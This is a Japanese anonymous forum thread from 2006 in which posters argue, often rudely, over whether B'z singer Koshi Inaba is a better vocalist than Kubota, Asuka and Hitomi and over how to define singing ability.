157 :名無しのエリー:2006/12/27(水) 20:42:59 ID:2PMEvRP+
>当たり前。
>稲葉はHR
>久保田はR&B
久保田、玉置、飛鳥、稲葉と並べて稲葉だけ別の部類だと言ってるのにその答え・・・
まさか文盲君か?

158 :名無しのエリー:2006/12/27(水) 20:45:03 ID:7SI8ug6M
>つーか稲葉自体昔インタビューで「もっと歌自体うまくなりたい」って言ってたぞ

俺相当昔からB'zヲタゆえB'zが出演するラジオやTV残さず
ビデオにとったり聞いたりしたけど
こんな印象深い発言聞いたことないねwwwww
つかなんのインタビューだよwwww

159 :名無しのエリー:2006/12/27(水) 20:46:51 ID:7SI8ug6M
>久保田、玉置、飛鳥

R&B、ソウル ポップス
ですけどこの人たち
なんか異論でもありますか?

>>156で「類」って語彙使ってるよね
盲目はお前^−^


160 :名無しのエリー:2006/12/27(水) 20:47:28 ID:7SI8ug6M
じゃあHR/HMでのお前の言う「歌がうまい」ボーカリスト上げてみてよ^−^

161 :名無しのエリー:2006/12/27(水) 20:49:32 ID:2PMEvRP+
玉置がソウルw
お前ソウルミュージック聴いたことあるのか?

162 :名無しのエリー:2006/12/27(水) 20:50:44 ID:2PMEvRP+
玉置と飛鳥をソウル類なんて言ってないで50年代R&Bから聴いてこい

163 :名無しのエリー:2006/12/27(水) 20:51:56 ID:7SI8ug6M
ほんと馬鹿。
盲目盲目^^;

>R&B、ソウル ポップス

R&B[、」ソウル ポップス

R&B,ソウルは久保田だよ
ちゃんと文読もうねー

164 :名無しのエリー:2006/12/27(水) 20:53:19 ID:7SI8ug6M
それになんで玉置と飛鳥がソウルになってるの?

俺は
R&B、ソウル ポップス
ですけどこの人たち

って言ったんだけどなぁ
ジャンル分けてるじゃん。意味わからないよアンチさん

165 :名無しのエリー:2006/12/27(水) 20:54:47 ID:7SI8ug6M
で話ずらしてるけど
「歌唱力」の定義教えてよ
どうやったら歌唱力があがったりのびたりするの?
どういう状態になったら歌唱力があがったってことになるの?

具体的に陳述してよ

↑の文に反論できないようなら
俺の論をお前らは認めた(肯定した)ってことになるけど?

166 :名無しのエリー:2006/12/27(水) 20:54:56 ID:2PMEvRP+
だから何で4人並べて稲葉だけが違う部類なんだってw

167 :名無しのエリー:2006/12/27(水) 20:59:52 ID:7SI8ug6M
>>166
じゃあ聞くけどいくら音楽素人が聞いたところで
ヘヴィメタルとポップの区別くらいつくよね

でもポップとR&Bって区別つけるの難しいと思うんだよね
素人が
たとえばB'zの曲でいえば「野性のENERGY」って曲があるんだけど
これバラードなんだけど、ポップやロックだと思っていたヲタもいるんだよ

これはB'zファンのプログとか見れば分かると思うけどね

要するに何がいいたいのかというと
このB'zアンチ(超音楽素人)は
バラードこそが歌唱力のすべてを発揮できる曲だと思っていて
バラードにHR/HMより断然近いポップやR&Bボーカリストを高く評価しているってことが
文脈より明らかになってるよ



168 :名無しのエリー:2006/12/27(水) 21:00:12 ID:2PMEvRP+
>>156
>ただ単にお前の脳内じゃR&Bやソウル類のボーカリスト=上手い
>HR/HMのボーカリスト=すごいだけで「歌」は上手くない
って書いてるから3人をソウル類って強引にまとめてるのかと思ったんだよね。
まさか久保田だけ引っ張ってきて玉置と飛鳥について言及してないとは思わないからさ。
そうじゃないんなら(ジャンルが違うのに違うのは当たり前なのに)久保田、玉置、飛鳥より稲葉が劣ると思われてるのはどう受け止めてるんだ?

169 :名無しのエリー:2006/12/27(水) 21:01:51 ID:2PMEvRP+
>>167
それはそのB'zアンチ?に対してひどい決め付けだわな
それに久保田はバリバリのファンクもやってるからちゃんと聴いてね

170 :名無しのエリー:2006/12/27(水) 21:02:41 ID:7SI8ug6M
でこうやって無駄な反論するとどんどん論点広がっていくから。

さっさとこれに反論してくれないかな?
「歌唱力」の定義さっさと陳述えてよ
どうやったら歌唱力があがったりのびたりするの?
どういう状態になったら歌唱力があがったってことになるの?

具体的に陳述してよ

↑の文に反論できないようなら
俺の論をお前らは認めた(肯定した)ってことになるけど?


これさえアンチが答えられれば話はスマートにいくよね
なんで答えられないの?

で、稲葉と久保田を比べるより
稲葉や閣下、人見とかを比べたほうが明らかにまとまるんだけど
どうしてあえて久保田や飛鳥なの?

171 :えんぺら ◆mFuuMYcpQ2 :2006/12/27(水) 21:07:25 ID:VaoRhQHE
稲葉、閣下、人見を比べたいなら最も歌唱力スレ行けばいいと思う。
こことは意見合わないんだから

172 :名無しのエリー:2006/12/27(水) 22:43:11 ID:7SI8ug6M
>そうじゃないんなら(ジャンルが違うのに違うのは当たり前なのに)久保田、玉置、飛鳥より稲葉が劣ると思われてるのはどう受け止めてるんだ?

これは好みだろ
あいつからしたら
稲葉=だいっ嫌い
久保田、飛鳥=大好き

なんだからさ
久保田や飛鳥のが上に見えるのはあたりまえ
でもこんなこといったら永久に話終わらないよね

だからこういう問題をスマートに進められる方法があるんだよね
それはね

さっさとアンチが歌唱力の定義を陳述してくれればいいんだよね
で久保田のどこが稲葉より優れているのかちゃんと説明さえしてくれれば
俺も納得するんだよね
ただ単に久保田聞いてみ、稲葉より圧倒的にすごいなんて言われても
稲葉はすごいけど歌はたいしてうまくない なんて言われても
ごまかしているようにしか見えないんだよね


173 :名無しのエリー:2006/12/27(水) 22:46:16 ID:7SI8ug6M
>>171
最もの方じゃもう議論し尽くして結果は出ちゃってるんだよね

HR/HMのボーカリストとしては
1位人見
2位閣下
3位稲葉
総合的歌唱力では
1位稲葉
2位閣下
3位人見

ってね
でもこっちじゃ勘違い稲葉アンチが多いしこっちで議論したほうがおおいから
こっちきた
何よりの原因はあっちが閣下VS桜井スレの負け犬チルヲタや
ここにいるような矛盾馬鹿稲葉アンチがまぎれこんできて
まともに話出来る音楽知識者がどんどん降りていっちゃったのが原因だね

174 :名無しのエリー:2006/12/27(水) 22:50:02 ID:5BalFo/K
人見ってそんなに凄いか?
ロックミュージシャンとしてはごく平凡だと思うけど。


175 :名無しのエリー:2006/12/27(水) 23:53:25 ID:ysAYa8EX
ホットパンツ稲葉

176 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 01:09:31 ID:XyH8f8aJ
>>173
ここでの歌唱力はおそらくサブリミナル的なものに重点を置いてるんだと思う。(自分自身も)
つまり、ある程度の声域、声量があってそこにいかに表現をのせられるか。
予備的にさらなる声域、声量が評価されるだけで。

表現力を定義するなら、「自分の経験や曲の魅力をその歌にいかに強く表す事ができるか」

177 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 01:11:12 ID:XyH8f8aJ
訂正
×声域、声量
〇声域、声量など

178 :名無しのエリー:2006/12/28(木) 01:50:17 ID:dT9wqNdt
稲葉ヲタに音楽の話をしても無駄。顔ヲタがほとんどだから。
ところが、「音楽的に稲葉が優れているから、稲葉が好きなのだ」とアピールするため(もしかしたら、自分に言い聞かせるため?)
あらゆる歌詞スレや歌唱力スレで稲葉のことを褒めちぎっている(無論、音楽的なことはわからない)。
こういう「盲目稲葉ヲタ」を見かけたら、鼻で笑ってやってください。

179 :名無しのエリー:2006/12/28(木) 02:37:29 ID:cqmVJrud
顔ヲタって何?

180 :名無しのエリー:2006/12/28(木) 02:43:23 ID:YoICySwH
おい、基地外稲葉ヲタ
おまえアク禁解除待ってまて書き込んで必死すぎ

まあいいや、
だからよー、「いつメリ」とかの歌唱が実に不安定なことは否定できないのかよ
まともに音程取れてない気すらするんだが
これは歌が上手くない証拠だろ

181 :名無しのエリー:2006/12/28(木) 02:44:39 ID:YoICySwH
つまり稲葉は勢いと独特の変な歌い方とキンキン声でごまかしてるだけ

182 :名無しのエリー:2006/12/28(木) 02:47:48 ID:YoICySwH
>>158
15周年何とかブック
本屋行って呼んでこいよ無知稲葉信者


183 :名無しのエリー:2006/12/28(木) 02:49:00 ID:YoICySwH
あ、違うわ
鯖イブの時の本だ

つーかやべ
4連投だW

184 :名無しのエリー:2006/12/28(木) 02:58:33 ID:5Qgaxl4N
>>180

それ15年以上前の稲葉でしょ
稲葉の全盛期は96年以降
いつめりも上手に音程も取り十分安定している
たかだか一回の失敗を根拠だとかいうなよ
稲葉くらいMステとかに出てたら
世界でもトップクラスのボーカリストでも
ミスなんてある

それにテレビの音源を根拠にする時点で無知が露呈されてるよ

普通ライブの音源。
まあライブの音源じゃ稲葉を叩くのは無理だろうね

ユーチューブにライブの音源は大量にころがってるから
目を通しなよ

185 :名無しのエリー:2006/12/28(木) 02:59:18 ID:5Qgaxl4N
>>183

うpよろしく

186 :名無しのエリー:2006/12/28(木) 02:59:55 ID:YoICySwH
5連投これが最後

大体お前、ここで何で「総合的」な話ししてんの?
>>1

それと、ジャンル違うからあーだこーだ言うんだったら
稲葉が1位っていうのは矛盾してまっせ

最後に、おまえ「B'zアンチ、B'zアンチ」ってうるさい
だいたい「稲葉最高と言わなかったらアンチ」って君日本語大丈夫?
あらゆるスレでストーカーのように延々喧嘩腰レスつけるのもやめなさい

ま、上から読んでいったところで君が日本語のコミュニケーションがとれない人間だってことはすぐにわかるが
時間の無駄だったかな?




187 :名無しのエリー:2006/12/28(木) 03:00:01 ID:5Qgaxl4N
>>183

up

188 :名無しのエリー:2006/12/28(木) 03:02:10 ID:YoICySwH
おまえ年中一日中2ちゃんにいるよなw
まあいいや、
>>184
3年ぐらい前のMステライブでも大差なかったよ
>>185
意味不明

189 :名無しのエリー:2006/12/28(木) 03:04:30 ID:YoICySwH
ちょっとまってくれ
元はと言えば>>121の、>>123に対する反論に答えてもらってないんだが

>>187
どこにどうやって?

190 :名無しのエリー:2006/12/28(木) 03:05:21 ID:CzOAsFjX
>>180
「とか」の部分を詳しく。他にも歌唱が不安定だ
という曲を挙げてもらえたらありがたい

191 :名無しのエリー:2006/12/28(木) 03:08:53 ID:YoICySwH
>>190
引っかかるところがおかしい

「いつメリ」のようなバラードで「歌唱力そのもの」の有無が出るっていってるんだが
これに対しては異論なし?


192 :名無しのエリー:2006/12/28(木) 03:14:44 ID:YoICySwH
>>184
>稲葉を叩くのは無理だろうね
音域と声量は確かにありますね
しかし他の部分は何処が凄いのかな?
現にお前も具体的に説明できてないし

つーか、
誰が叩いてます?精神病者の被害妄想ノイローゼまた出ましたか?w

193 :名無しのエリー:2006/12/28(木) 12:44:12 ID:U7hM7NOG
>>192
ったく盲目だな
いつまでも粘着してるとどんどんボロ出すぞ糞アンチ。

>>130見ろよ
リズム感→http://www.youtube.com/watch?v=uZli3CW2Sns
こんなクネクネしながら超高音の出る曲歌ってもまったく乱れない
全力疾走しながら歌ってもまったく乱れない。→http://www.youtube.com/watch?v=oW11vB-QL7g
安定感→http://www.youtube.com/watch?v=xO0tw0AF-AE
まぁ表現力は感受性の違いだしソロだからあえて動画出さないけどね

総合的に稲葉の歌唱力がよく見れる曲→http://www.youtube.com/watch?v=vMY14CxMcpc

気が済んだ?



194 :名無しのエリー:2006/12/28(木) 12:48:37 ID:U7hM7NOG
>大体お前、ここで何で「総合的」な話ししてんの?
>>1

いやw馬鹿wwwwwぎゃはwwww
じゃあお前のいう「歌の上手さ」の定義教えてよw
前回からいってるじゃん。なんでレスできないの?
話無理に変えて逃げるなよ?
どうやったら歌が上手くなるの?
どういう状態になったら歌って上手くなったってことになるの?

>それと、ジャンル違うからあーだこーだ言うんだったら
稲葉が1位っていうのは矛盾してまっせ

ジャンルはあくまでもジャンル
俺がいいたいのはお前はHR=すごいけど肝心な歌は下手
ポップ、R&B類=これこそが歌の上手さ
ってレス読む限り思っているっぽいからね


>最後に、おまえ「B'zアンチ、B'zアンチ」ってうるさい
だいたい「稲葉最高と言わなかったらアンチ」って君日本語大丈夫?
あらゆるスレでストーカーのように延々喧嘩腰レスつけるのもやめなさい

稲葉ヲタだったらこんな盲目な文章書かないって
稲葉より飛鳥のが歌うまいなんて文章まずかかないだろうにw
声量と声域はすごいけど肝心なところがだめなんて文かかないっつーのw

>ま、上から読んでいったところで君が日本語のコミュニケーションがとれない人間だってことはすぐにわかるが
時間の無駄だったかな?

じゃあなんで反論してんの?^^:
矛盾してるよー

195 :名無しのエリー:2006/12/28(木) 12:50:46 ID:U7hM7NOG
>3年ぐらい前のMステライブでも大差なかったよ

Mステのライブwwwwwwww
馬鹿じゃねーのwwwwww
何で歌の上手さを図るときMステのライブを根拠にしてんだよwww
音楽無知バレバレ。中ニ病もいいところ。
つか3年前いつめりなんてやったっけ?

>意味不明

はい?w普通にうpすればいいんじゃん
初心者?ねえ

196 :名無しのエリー:2006/12/28(木) 12:53:22 ID:U7hM7NOG
>だからよー、「いつメリ」とかの歌唱が実に不安定なことは否定できないのかよ
まともに音程取れてない気すらするんだが

ねえこれライブ映像を元に言ってるの?
テレビの本当に歌ってるのか歌ってないのか
稲葉の調子が悪いときだったのかよかったときのだったのか
ちゃんと分かってるの?
正直稲葉テレビじゃすんげー手抜いてるよ
この前の10月13日のやつとか去年の愛の爆弾とか
いつめりやアローンだってMステじゃボロボロ。
その点はYoutubeのライブ映像見れば分かること


197 :名無しのエリー:2006/12/28(木) 12:55:00 ID:U7hM7NOG
>誰が叩いてます?精神病者の被害妄想ノイローゼまた出ましたか?w


まあライブの音源じゃ稲葉を叩くのは無理だろうね
まあライブの音源じゃ稲葉を叩くのは無理だろうね
まあライブの音源じゃ稲葉を叩くのは無理だろうね
まあライブの音源じゃ稲葉を叩くのは無理だろうね
まあライブの音源じゃ稲葉を叩くのは無理だろうね
まあライブの音源じゃ稲葉を叩くのは無理だろうね
まあライブの音源じゃ稲葉を叩くのは無理だろうね







198 :名無しのエリー:2006/12/28(木) 12:56:23 ID:U7hM7NOG


182 :名無しのエリー:2006/12/28(木) 02:47:48 ID:YoICySwH
>>158
15周年何とかブック
本屋行って呼んでこいよ無知稲葉信者



183 :名無しのエリー:2006/12/28(木) 02:49:00 ID:YoICySwH
あ、違うわ
鯖イブの時の本だ

つーかやべ
4連投だW



シャメなりなんなり写真とってどっかにupしてURLはればいいだけの話。

199 :名無しのエリー:2006/12/28(木) 12:57:11 ID:U7hM7NOG
つかまずこの>>1の定義が可笑しいわけで


200 :名無しのエリー:2006/12/28(木) 13:04:11 ID:U7hM7NOG
>陽水とか久保田とかが聞いてて気持ちいい。彼らが日本トップにふさわしいと思う。

聞いてて気持ちいい=トップにふさわしい

無理あるだろこれw
じゃあHR/HMのボーカリストはどうなるわけ?w
メタル系のボーカリストはどうなるわけ?w

>その点で閣下や人見はあきらかに過大評価されすぎ。

はいきたーーーーーーーwwwwwwwwwwwwww


201 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 13:27:04 ID:XyH8f8aJ
>>200
だから、君の考えてる歌唱力とここでの歌唱力は違うんだから話が合わないのは当たり前

202 :名無しのエリー:2006/12/28(木) 13:45:00 ID:U7hM7NOG
>>201
だからここでの歌唱力ってなによ
聞いてて気持ちいい?んなの好みの問題だろーが

203 :名無しのエリー:2006/12/28(木) 13:47:49 ID:U7hM7NOG
そもそも歌唱力っていうのは声量や音感の総合を言ってるわけで
こことあれは違うなんておかしいだろーが

204 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 14:02:25 ID:XyH8f8aJ
>>176

205 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 14:03:59 ID:XyH8f8aJ
>>203
何に重点を置くかによっていくらでも定義は変化するよ

206 :名無しのエリー:2006/12/28(木) 14:07:34 ID:J9m2Mw1l
>>205
定義が変わるなら名称も変えろよ、定義がバラバラで統一されてる物なんか無い。


言葉自体に矛盾が生じる

207 :名無しのエリー:2006/12/28(木) 14:18:58 ID:5Qgaxl4N
もうすでに歌唱力とは言えない
只の主観

208 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 14:19:13 ID:XyH8f8aJ
>>206
前に誰かが書いてたけど、歌唱力自体が造語でもともと皆が納得するようなはっきりした定義は無い。
名称を変えるよりむしろ統一された歌唱力の定義を考えるべきだと思うよ。
まあどこかの宗教争いのようになるのが落ちだと思うけどね。
だからここはここ、あっちはあっちでいいと思うよ

209 :名無しのエリー:2006/12/28(木) 14:39:35 ID:5Qgaxl4N
それ書いたの俺

歌唱=歌
力=実力

でも歌の上手さって言うのは
声量、安定感、声域、音感等がどれだけ
あるかで決まるわけ

故に歌唱力(歌の上手さ)というのは音感とかの集合体。

210 :名無しのエリー:2006/12/28(木) 14:40:27 ID:+NgrH4Dc
ここでは
声域と声量とリズム感と安定感がある=技術がある
であって
技術は歌唱力の評価対象の一部にすぎない
って事だろ?

211 :名無しのエリー:2006/12/28(木) 14:49:00 ID:U77bdpWJ
超ロック素人人間が言うの何だけど、
同じロックバンドボーカルの稲葉さんも
ヒロトさんも毛色が違えど歌に職人技を
感じますな。

(歌手職人)技量がある=歌唱力がある???

212 :名無しのエリー:2006/12/28(木) 14:58:52 ID:5Qgaxl4N
>>210

まさにそれ稲葉じゃん
声域があって声量があってリズム感があって安定感がある
そんなこと言ったらまさに稲葉や閣下が最強なのを認めたようなものじゃん
じゃあなんでここにいる一定の人は
こんなに稲葉や閣下をこんな否定してるの?

213 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 15:02:13 ID:XyH8f8aJ
>>209
その「歌の上手さ」でさえもはっきりとした定義は無いよ。
違った観点から見ていってみよう。
歌を「歌える」のと「歌いこなせる」のとでは意味が違うんだよ

214 :名無しのエリー:2006/12/28(木) 15:33:43 ID:YoICySwH
>>212
で、君稲葉が音域と声量以外に何が凄いのか説明できないの?
まずお前が強調する「音感がある」っていう説明すらまただぞ
屈指とか最強とか世界に通じるとか抽象的な主観並べられても説得力なし

215 :名無しのエリー:2006/12/28(木) 15:35:07 ID:YoICySwH
ま、俺に言わせればプロ歌手の稲葉より
芸人のドンドコドン山口の方が歌自体は断然上手いと思うが

216 :名無しのエリー:2006/12/28(木) 15:37:54 ID:YoICySwH
>>211
そうだな
稲葉はヒロトなんかと同じ部類だろうな
上手い訳じゃない でも何か引きつけるものがある人にはあるんだろうな

217 :名無しのエリー:2006/12/28(木) 15:42:49 ID:YoICySwH
>>195
いやいや、M捨ても生のライブだろ
君がライブで測ったら何も叩くところないって行ったからさ
>>197
精神病の症状でましたね
>>207
おまえも殆どが主観


218 :名無しのエリー:2006/12/28(木) 15:47:15 ID:U7hM7NOG
>>214
そいつここで稲葉主張してる俺じゃないからね
音感は説明するよりユーチュービのライブ映像見ればいいだけの話
いくら説明したって音感や表現力なんて主観でしかないんだから
見れば分かること

次にリズム感
http://www.youtube.com/watch?v=uZli3CW2Sns

これだけクネクネしたりふらふらしたりしてるのに
こんなhihiA♯以上の超高音を自然にまったくみだれずに出せる
これこそが稲葉の最大の武器。
いくら久保田だってこんなにクネクネ動きながら高音を出すことはまず無理
相当の肺活量も必要だしね
閣下だって歌うときはだいたいとまってるか歩いてる
そして全力疾走しながら歌ってもまったく乱れない。→http://www.youtube.com/watch?v=oW11vB-QL7g
これも稲葉の特徴のひとつ。こんだけ走ってるのに歌がまったく乱れていない
どんなすごいアーだってこんだけ走ってりゃ絶対乱れる
乱れないっていうアーがいるなら映像つきで紹介してもらいたいくらいだね

で、総合的に稲葉の歌唱力がよく見れる曲→http://www.youtube.com/watch?v=vMY14CxMcpc

これほどソース出してるのにまだ「説明できないの?」みたいな稚拙論出さないでね
アンチさん。

>>215
「歌自体」ってなんだよ
だからいってるじゃん。どういう風になったら歌が上手いってことになるの?
さっさと説明してくれない?説明できないの?
「ここでの歌唱力」なんて言われてもごまかしているようにしか見えないんだよね



219 :名無しのエリー:2006/12/28(木) 15:48:09 ID:U7hM7NOG
>>217
生のライブだなんて保証は無いでしょ?
現にMステなんて口パクばっかで有名な番組なんだから


220 :名無しのエリー:2006/12/28(木) 15:52:24 ID:hGK/a2ba
      ,,r::::::::::::〈:::::::::)    ィ::::::ヽ
      〃::::::::::::;r‐''´:::::::::::::::::::::ヽ::ノ
    ,'::;'::::::::::::::/::::::::::::::::::::::::::::::::::::
     l::::::::::::::::::l::::::::::●::::::::::::::●:::::ji
    |::::::::::::::::::、::::::::::::::( _●_)::::::,j:l  クマー!
    }::::::::::::::::::::ゝ、::::::::::|∪|_ノ::;!
.    {::::::::::::::::::::::::::::`='=::ヽノ:::::/     
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このレスを見た人はコピペでもいいので
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221 :名無しのエリー:2006/12/28(木) 15:57:55 ID:YoICySwH
>>218
いやいや、どうみたっておまえだって
自分でレス見てみなさい 
今時そんなまやかしが本気で通じると思ってる自体知恵遅れの域だな

まあいい、
>主観でしかないんだから
うん、で俺の主観ではお前の主張が理解できないんだよね
おまえはただ自分の主観を真実だと思いこんで人に押しつけようとしてるだけ
>走って歌ってるのに歌が全く乱れてない
ん?歌うって走りながらじゃないとできないのか?そもそも走ってるのは稲葉の勝手だろ 
走って歌って息が切れない歌うまいなんてwww
だったらオリンピックに出るような長距離ランナーの方が歌うまいってことになったりしてw

説得力なし
以上、君は巣に帰りなさい っていっても君には巣などないけどね


222 :名無しのエリー:2006/12/28(木) 15:58:27 ID:U7hM7NOG
>>213
>その「歌の上手さ」でさえもはっきりとした定義は無いよ。
違った観点から見ていってみよう。
歌を「歌える」のと「歌いこなせる」のとでは意味が違うんだよ

何いってんだ?お前
どんどん無駄に論点ずれるんだけどそういうこと言われると

歌の上手さ=歌唱力
歌の上手さを言い換えたのが歌唱力
歌→歌唱
力→上手さ=歌の上手さ=歌唱力
で、歌唱力(歌の上手さ)っていうのは音感声量等の集合体をさすの
君たちがまだ学生さんなら音楽の先生にでも聞いてみなよ

>歌を「歌える」のと「歌いこなせる」のとでは意味が違うんだよ

これは個性の問題
たとえば稲葉の歌を上木が歌ったとして
上木が稲葉の個性を十分に出しきれる→「歌いこなせてる」
出し切れてないけどちゃんと歌える→「歌える」



223 :名無しのエリー:2006/12/28(木) 16:00:00 ID:5Qgaxl4N
アンチのメッキが段々はがれてきたな
文が釣りにしか見えない

224 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 16:00:51 ID:XyH8f8aJ
>>218
その理屈がおかしい事がわからないと言う事は、君はこのスレの書き込みを全く理解していないと言う事になるよ。

225 :名無しのエリー:2006/12/28(木) 16:06:27 ID:U7hM7NOG
>>221

>うん、で俺の主観ではお前の主張が理解できないんだよね

だから動画みなよ〜動画みなよ〜動画みなよ〜

>ん?歌うって走りながらじゃないとできないのか?そもそも走ってるのは稲葉の勝手だろ 
走って歌って息が切れない歌うまいなんてwww

・・・?
パフォーマンスのひとつだよ^^;
でもこのパフォーマンスをやるためにも相当なリズム感がナイトできないんだよね
わかってる限りこんなパフォーマンスが出来るのは日本でも稲葉だけ
これで歌唱力の定義のひとつ「リズム感」が用いられたね^^:

>走って歌って息が切れない歌うまいなんてwww
だったらオリンピックに出るような長距離ランナーの方が歌うまいってことになったりしてw

論点違い・・
もういいよお前

誰が息きれない なんていったっけ^^;
「乱れない」て言ってるんだよ。音程がね
久保田や桜井だって走ろうと思えば走れるだろうね。息も切れずに
でも稲葉くらいの高音だして走ったら乱れまくってとても聞ける状態じゃなくなるってこと




226 :名無しのエリー:2006/12/28(木) 16:09:41 ID:U7hM7NOG
あ、もしマラソン選手が稲葉くらい声出たとしてもリズム感が無かったら
あれだけ走って歌ったら乱れるね。


227 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 16:11:42 ID:XyH8f8aJ
はっきりとした歌唱力の定義は無いと言ってるのが分からないのだろうか

228 :名無しのエリー:2006/12/28(木) 16:16:21 ID:U7hM7NOG
>>227
あるよ
世界共通の歌唱力が
音感 声量 表現力 声域 リズム感 テク 

久保田や井上はよくて日本でしか通用しない。
現に人見が海外で日本人にしては大ヒット(大絶賛)したからね

229 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 16:21:09 ID:XyH8f8aJ
>>228
それさえも、考え得る一つの定義にすぎないわけだけどね

230 :名無しのエリー:2006/12/28(木) 16:25:18 ID:NR5FWJ+L
ほんと香ばしいスレだオレも釣られるよ
HR/HMを知らないやつばっかでHR/HMを勝手に勘違いして煽ってる
HR/HM板の話も出てるけどほんとに行ったことあるのか?

まずVow Wow時代のライブでスピーカー機材の裏でネズミが耳から血が出て死んでいるほどの声量
そして完璧な英語の発音(音が日本っぽいCDもあるので洋楽っぽくは聞こえないこともあるが)をそなえてる人見

13秒(もっとある?)近くのハイロングトーンを出せるビブラートやフェイク、高音ではhihiCまで出せるシャウト
あとあんま知れられてないけど帰国子女の閣下

この人たちは間違いなくトップクラスだと思う
まぁHR/HM板ではLOUDNESSの山田とかも上の二人なみに人気あるけどな〜

231 :名無しのエリー:2006/12/28(木) 16:25:26 ID:U7hM7NOG
>>229

じゃあほかの定義を述べてみてよ
歌唱力は造語であって多く用いられてる言葉の代用になるわけで

現時点ほかの定義が述べられないなら歌唱力というのは声量等の集合体
「歌のうまさ」っていうのは世界共通にいえるのは声量等の集合体だからね

232 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 16:28:41 ID:XyH8f8aJ
>>231
>>176

233 :名無しのエリー:2006/12/28(木) 16:29:59 ID:U7hM7NOG
>>232
だからそれは主観^^;


234 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 16:30:55 ID:XyH8f8aJ
>>177

235 :名無しのエリー:2006/12/28(木) 16:33:39 ID:ahUqPJNB
稲葉ヲタはなんとしても稲葉をNo.1にしたいんだな

236 :名無しのエリー:2006/12/28(木) 16:35:56 ID:5Qgaxl4N
>>230

こいつらに言わせるとそれは凄いだけで
根本的な歌は上手くないらしいよ
声域や声量なんて所詮は歌唱力の一部としかとれない

んだとさ

237 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 16:42:07 ID:XyH8f8aJ
>>233
君の言う主観を歌唱力に加えてはならないと言う規定は無いわけだけどね

238 :名無しのエリー:2006/12/28(木) 18:21:42 ID:YoICySwH
>>225
動画見てわからないから突っ込んでるんだが

それから、「歌の上手さ」があらゆる要素の集合体だという割りに
結局声量と音域だけですか?
>>233
君自体が主観だから
>>235
だな
しかも稲葉はナンバー1だと言わない=アンチだからなw
ただのヒステリックな基地外精神病者だな


239 :名無しのエリー:2006/12/28(木) 18:24:28 ID:JKSoXvqF
稲葉は真面目にNo.1を争うくらい
1位かどうかは分からん

240 :名無しのエリー:2006/12/28(木) 18:28:53 ID:YoICySwH
稲葉自体歌唱力1位だとは到底思ってないだろう
只2ちゃんの中で頭の狂った稲葉ヲタが2人ほど暴れてるだけ
一人が上で暴れてる奴、もうひとりが178
同一人物の説もあり

241 :名無しのエリー:2006/12/28(木) 19:14:50 ID:NR5FWJ+L
>>236
ああ、なるほど。ただそれはCDの音質とかでだいぶ声の聞こえ方とかが違うだろうから
やはりライブに自分自身で直接行くしかないだろう。ライブ音源とかも音質の問題あるし

いや現地点の状況では昔の猛者が劣化してるだろうし稲葉が最強かもしれないけど
YAMA-Bとかもいるけどみんなしらなそうだしな

まぁそこまで行くと声の好みじゃないか。hydeみたいなファルセットがうまい声が好きな人もいればマサムネみたいな透明感のある声
黒猫みたいなアニソン声や幼女声に老婆声、TOSHIみたいなスラッシュ声とか好きなやつもいれば稲葉みたいなキンキン声が好きなやつもいるということ

242 :名無しのエリー:2006/12/28(木) 19:23:18 ID:U7hM7NOG
>>237
んなこといったらキリがない
ただいえるのは世界で通用するボーカリストの重点は
声域声量リズム感安定感音感表現力がどれだけ高いかで決まる

>>238
いいかげんあきらめろお前。
まったく論点ついてない。


>動画見てわからないから突っ込んでるんだが

はぁ?
動画すら見てねーのに何偉そうに稲葉の歌唱力を否定してんの?
馬鹿にも程あんじゃねーの?
本当呆れるよお前・・
動画すら見てない人間が歌唱力語ってんじゃねーよ
根拠はMステの音源wwwww馬鹿じゃねーの?www

>それから、「歌の上手さ」があらゆる要素の集合体だという割りに
結局声量と音域だけですか?

あんだけリズム感を主張してんのにお前盲目にも限度あんじゃねーの?
文読んでる?疲れるお前。
音感も安定感動画見れば分かるよ。ただ俺じゃ説明しづらいだけ。
あとは表現力なんだがこれはちょっと稲ソロツタヤで借りるなりなんなりして
聞いてくれたらうれしいけどね

>君自体が主観だから




243 :名無しのエリー:2006/12/28(木) 19:25:03 ID:U7hM7NOG
>だな
しかも稲葉はナンバー1だと言わない=アンチだからなw
ただのヒステリックな基地外精神病者だな

必死に同意して仲間でも集めてるの?
それ以前に妄想酷すぎ。

でさー
早くシャメなり画像なる稲葉が歌自体上手くなりたいって言ってた
文をさっさとうpしてくれないかな?

>>240
憶測激しいんだって
論破されそうになるとなんでも178論で流すのやめろよ

>>241
昔も今も少なくとも閣下よりは上だと思うけど
議論スレでも1位人見2位稲葉3位久保田4位閣下って結果が出てたしね

244 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 19:37:21 ID:XyH8f8aJ
>>242
キリが無いも何もただ歌唱力の定義は変化すると言う単純な事を教えてるだけなんだけど。

245 :名無しのエリー:2006/12/28(木) 19:49:36 ID:U7hM7NOG
>>244
>キリが無いも何もただ歌唱力の定義は変化すると言う単純な事を教えてるだけなんだけど。

あくまでお前が言っているのは日本での定義
否ここ2chでの定義。
一般的(世界を的に)言えば歌唱力の定義なんて
声域等の集合体。
それに歌唱力の定義は変化するなんていってるのチャンネラーくらい
造語は造語でもそのうち辞書に入っても可笑しくない単語だからね
歌唱力なんて

246 :名無しのエリー:2006/12/28(木) 20:07:28 ID:wio8vQne
よく分からんのだけど、クネクネ歌うのと静止して歌うのと、
パフォーマンスに違いがあるのは分かるんだが、それって歌唱力に関係あるの?

247 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 20:10:08 ID:XyH8f8aJ
>>245
おっしゃってる意味が理解できないのですが?
重点の移動に従属して定義が変化すると言ってるんだけど、分かる?
俺の言う定義に声域、声量などが含まれないなんて一言も言ってないんだけど何か勘違いしてない?

248 :名無しのエリー:2006/12/28(木) 20:10:09 ID:NR5FWJ+L
>>242
議論スレってもしかして稲葉ヲタが稲葉を無理やり上げてたあのスレじゃないよね?

